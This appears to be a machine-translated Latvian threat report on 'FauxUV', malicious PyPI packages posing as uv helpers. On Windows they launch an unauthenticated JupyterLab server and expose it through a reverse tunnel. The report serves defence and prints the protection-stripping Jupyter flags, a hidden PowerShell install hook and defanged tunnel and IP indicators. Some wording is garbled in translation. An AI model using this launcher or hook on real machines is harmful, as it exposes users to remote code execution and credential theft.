TL; DR
PyPI pakotņu klasteris aizguva nosaukumu uv, ātrais, ārkārtīgi populārais Rust bāzes Python pakotņu pārvaldnieks, lai izliktos par UV palīgiem. Tie gandrīz nenodrošina nekādu reālu funkcionalitāti. Tā vietā tie satur Windows vērtumu, kas atbalsta JupyterLab serveris ar izslēgtu autentifikāciju un vēlākās versijās to publicē publiskajā internetā, izmantojot apgriezto tuneli.
Tas ir viss stāsts vienā rindā: uzticama rīka nosaukums kā ēsma un JupyterLab kā attālinātās koda izpildes dzinējs. Jupyter serveris palaiž jebkuru kodu, ko ierakstāt nevietā.ebook šūna; tāda, kas palaista ar tukšu marķieri un piesaistīta katrai tīkla saskarnei, ir atvērts interpretētājs, kuru var vadīt ikviens, kas var sasniegt portu.
Mēs izsekojam klasteri kā FauxUVAbi pārbaudītie paketes ir moon-uv (0.0.1 – 0.0.16) un my-magic-uv-helper (0.0.1), ko publicējis tas pats operators un kas analīzes laikā ir pieejams PyPI.
| Ekosistēma | PyPI |
| Paketes | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Platformas mērķauditorija | Windows |
| Galvenā uzvedība | Neautentificēts JupyterLab serveris, publicēts internetā, izmantojot apgriezto tuneli |
| Likumīgu rīku ļaunprātīga izmantošana | UV, JupyterLab, mākoņu uzliesmojums, Pingy |
Ēsma: vārds, kuram jūs jau uzticaties
uv ir viens no visvairāk instalētajiem Python rīkiem pēdējo divu gadu laikā, tāpēc “palīgs uv” ir pakotne, ko izstrādātājs instalē bez liekas domāšanas. FauxUV savu uzticamību pilnībā balsta uz šo nosaukumu. Pakotnes ietver īsts uv instalētājs no Astral — URL vērtajā slodzē norāda uz reāliem, cienījamiem mitinātājiem —, tāpēc ātrs skatiens parāda tikai uzticamas atsauces. Neviena no pakotnēm faktiski nepievieno uv funkcionalitāte; nosaukums ir viss noslēpums.
JupyterLab kā RCE dzinējs
Kravnesības centrālais elements ir palaišanas iekārta, kas iedarbina JupyterLab, noņemot visas aizsargbarjeras:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Katrs karodziņš noņem aizsardzību, un piegādātajā skriptā tie pat ir anotēti (oriģinālā ķīniešu valodā): tukšais marķieris "izslēdz paroļu un žetonu pārbaudes — ikviens var izveidot savienojumu." jupyter laboratorija ir likumīga datu zinātnes IDE, bet neebook šūna pēc būtības izpilda patvaļīgu kodu. Konfigurēts šādā veidā un piesaistīts 0.0.0.0, tas pārstāj būt IDE un kļūst par neautentificētu attālo čaulu resursdatorā — nav nepieciešams pielāgots ļaunprogrammatūras binārais fails, tikai nepareizā virzienā vērsts plaši izplatīts rīks.
Divi atbalsta elementi padara to sasniedzamu un atkārtojamu:
- Klusas instalēšanas aktivizētājs. Agrīnās versijas darbina PowerShell ar -ExecutionPolicy apvedceļš tieši no setup.py on pip instalēšana, fonā ar apspiestām kļūdām, tāpēc pip izskatās normāli. Vēlākās versijas pārvieto to pašu primitīvu uz pip-uv komandrindas rīks — un pilnībā atmest automātisko palaišanu instalēšanas laikā.
- Publisks reversais tunelis. Serveris ieslēgts 0.0.0.0 joprojām ir sasniedzams tikai tiem resursdatoriem, kas var maršrutēt uz šo mašīnu. Komplektā iekļautais modulis atver [Pingy](https://pinggy.io/) SSH reversais tunelis, kas pārsūta lokālo Jupyter portu uz publisku adresi, novēršot šo ierobežojumu. Nosūtītais skripts arī satur — komentētu — alternatīvu ceļu, izmantojot Cloudflare mākoņu uzliesmojumi un netsh port-proxy uz Linode IP, dokumentējot to pašu mērķi, izmantojot citu infrastruktūru.
Apkopojot: instalējiet pakotni, un Windows resursdators galu galā palaiž paroles nesaturošu JupyterLab un publicē to atklātā internetā.
Kā attīstījās FauxUV
FauxUV versijas tika piegādātas ātrā secībā, un lietderīgās slodzes aktivizēšanas punkts pārvietojās pāri tām — atgādinājums, ka viena atzīmēta versija reti kad atklāj visu pakotnes līnijas stāstu.
| posms | versijas | Trigger | Ko tas pievieno |
|---|---|---|---|
| Instalēšanas āķis | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py PIP instalēšanas laikā | uv instalēšana + PATH pievienošana |
| CLI izpildlaiks | moon-uv 0.0.5-0.0.13 | pip-uv komanda | bezparoles JupyterLab palaišanas programma |
| Tunelis | moon-uv 0.0.14-0.0.16 | pip-uv komanda | aktīvs Pingy reversais tunelis |
Jāatzīmē, ka automātiskā palaišana instalēšanas laikā bija noņemt vēlākajās, jaudīgākajās versijās — tātad skeneris, kas ieslēgts tikai dzīves cikla laikā hooks novērtētu jaunākos izlaidumus kā mazāk riskanti, tieši otrādi.
Kompromisa rādītāji
Apstiprināts, nolasot pakotnes pirmkodu; atzīmēti galapunkti komentēja ir failos, bet analizētā versija tos neizpilda. Tīkla indikatori ir noņemti.
| Veids | Indikators |
|---|---|
| Instalēt komandu | powershell -ExecutionPolicy Bypass tiek ielādēts īstais UV instalētājs pip instalēšanas laikā |
| JupyterLab karodziņi | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Reversais tunelis (aktīvs) | free[.]pinggy[.]io:443 lokālā pāradresācija 127.0.0.1:8888 |
| Tuneļa resursdators (komentēts) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (komentēts) | 45[.]79[.]134[.]161 (Linode) caur netsh port-proxy |
| Neatlaidība | pievieno %USERPROFILE%\.local\bin lietotājam PATH |
Uzvedības signāli, par kuriem ir vērts brīdināt, neatkarīgi no šīm konkrētajām virknēm: a pip instalēšana kas nārsto powershell -ExecutionPolicy apvedceļšjebkura jupyter palaišanas apvienošana žetons =”” ar –ip=0.0.0.0un izejošo SSH uz *.pinggy.io no izstrādātāja vai CI iekārtas.
Novērotā uzvedība un izcelsme
Abām pakotnēm ir kopīgs autors un metode: uzticama rīka nosaukums, tikai Windows paredzēta vārtēšana, fona izpilde ar kļūdu novēršanu un paļaušanās uz cienījamiem rīkiem, tāpēc ātrs ieskats ļauj redzēt tikai cienījamus URL. Avota kodā ir ķīniešu valodas komentāri, kas skaidri apraksta ar drošību saistītos karodziņus; mēs tos ziņojam kā novērojamus apgalvojumus failā, nevis kā apgalvojumu par motīvu. atļaut_oriģinālu vērtība un colab.bat faila nosaukums atspoguļo neformālās “kopīgot manu lokālo izpildlaika vidi” darbplūsmas, kas cirkulē pakalpojumā Google Colab. Neatkarīgi no izcelsmes, iepakotā rezultāts ir viens un tas pats.
Ietekme un norādījumi aizstāvjiem
Kas ir pakļauts mākslīgajam UV starojumam. Windows izstrādātāji un CI lietotāji, kas pip instalēšana viena no šīm pakotnēm. Paroles nesaturošs JupyterLab 0.0.0.0 ir attālināta koda izpilde ikvienam, kurš var sasniegt portu; tunelis atceļ ierobežojumu “kas var to sasniegt”. Serveris darbojas kā instalētājs, mantojot šī lietotāja failus, žetonus un mākoņa akreditācijas datus.
Kāpēc to ir viegli palaist garām. Katra tīkla virkne norāda uz cienījamu mitinātāju — Astral, JupyterLab, mākoņu uzliesmojumi, Pingy, Colab. Nav ne ļaunprogrammatūras binārā faila, ko jaukt, ne arī apmulsināta bloba, ko atšifrēt. Gan uz reputāciju, gan parakstu balstīta skenēšana tam nepievērš pietiekamu uzmanību, tāpēc uzvedības jautājums — Ko šīs pakotnes instalēšana liek ierīcei darīt? — ir tas, kas to noķer.
Norādījumi:
- Apstrādājiet jebkuru instalēšanas laiku powershell -ExecutionPolicy apvedceļš kā būvējumu pārtraucošu signālu neatkarīgi no tā, kādu URL tas ielādē.
- Brīdinājums ieslēgts jupyter palaists ar tukšu žetonu un –ip=0.0.0.0; šai kombinācijai nekad nevajadzētu parādīties darbstacijā vai skrējienprogrammā.
- Izejošo SSH savienojumu ar tunelēšanas pakalpojumu sniedzējiem uzrauga (*.pinggy.io, *.trycloudflare.com) no izstrādātāju un CI vidēm.
- instalēt uv no [tā oficiālā avota](https://docs.astral.sh/uv/) un esiet skeptiski pret trešo pušu “palīgu” pakotnēm, kas ietver rīku, kura instalēšana jau tā ir vienkārša.
- Piespraust un atkārtoti pārskatīt atkarības jaunināšanas laikā — pakotnes rinda var paplašināt jaunas iespējas uz versiju virs versijas.



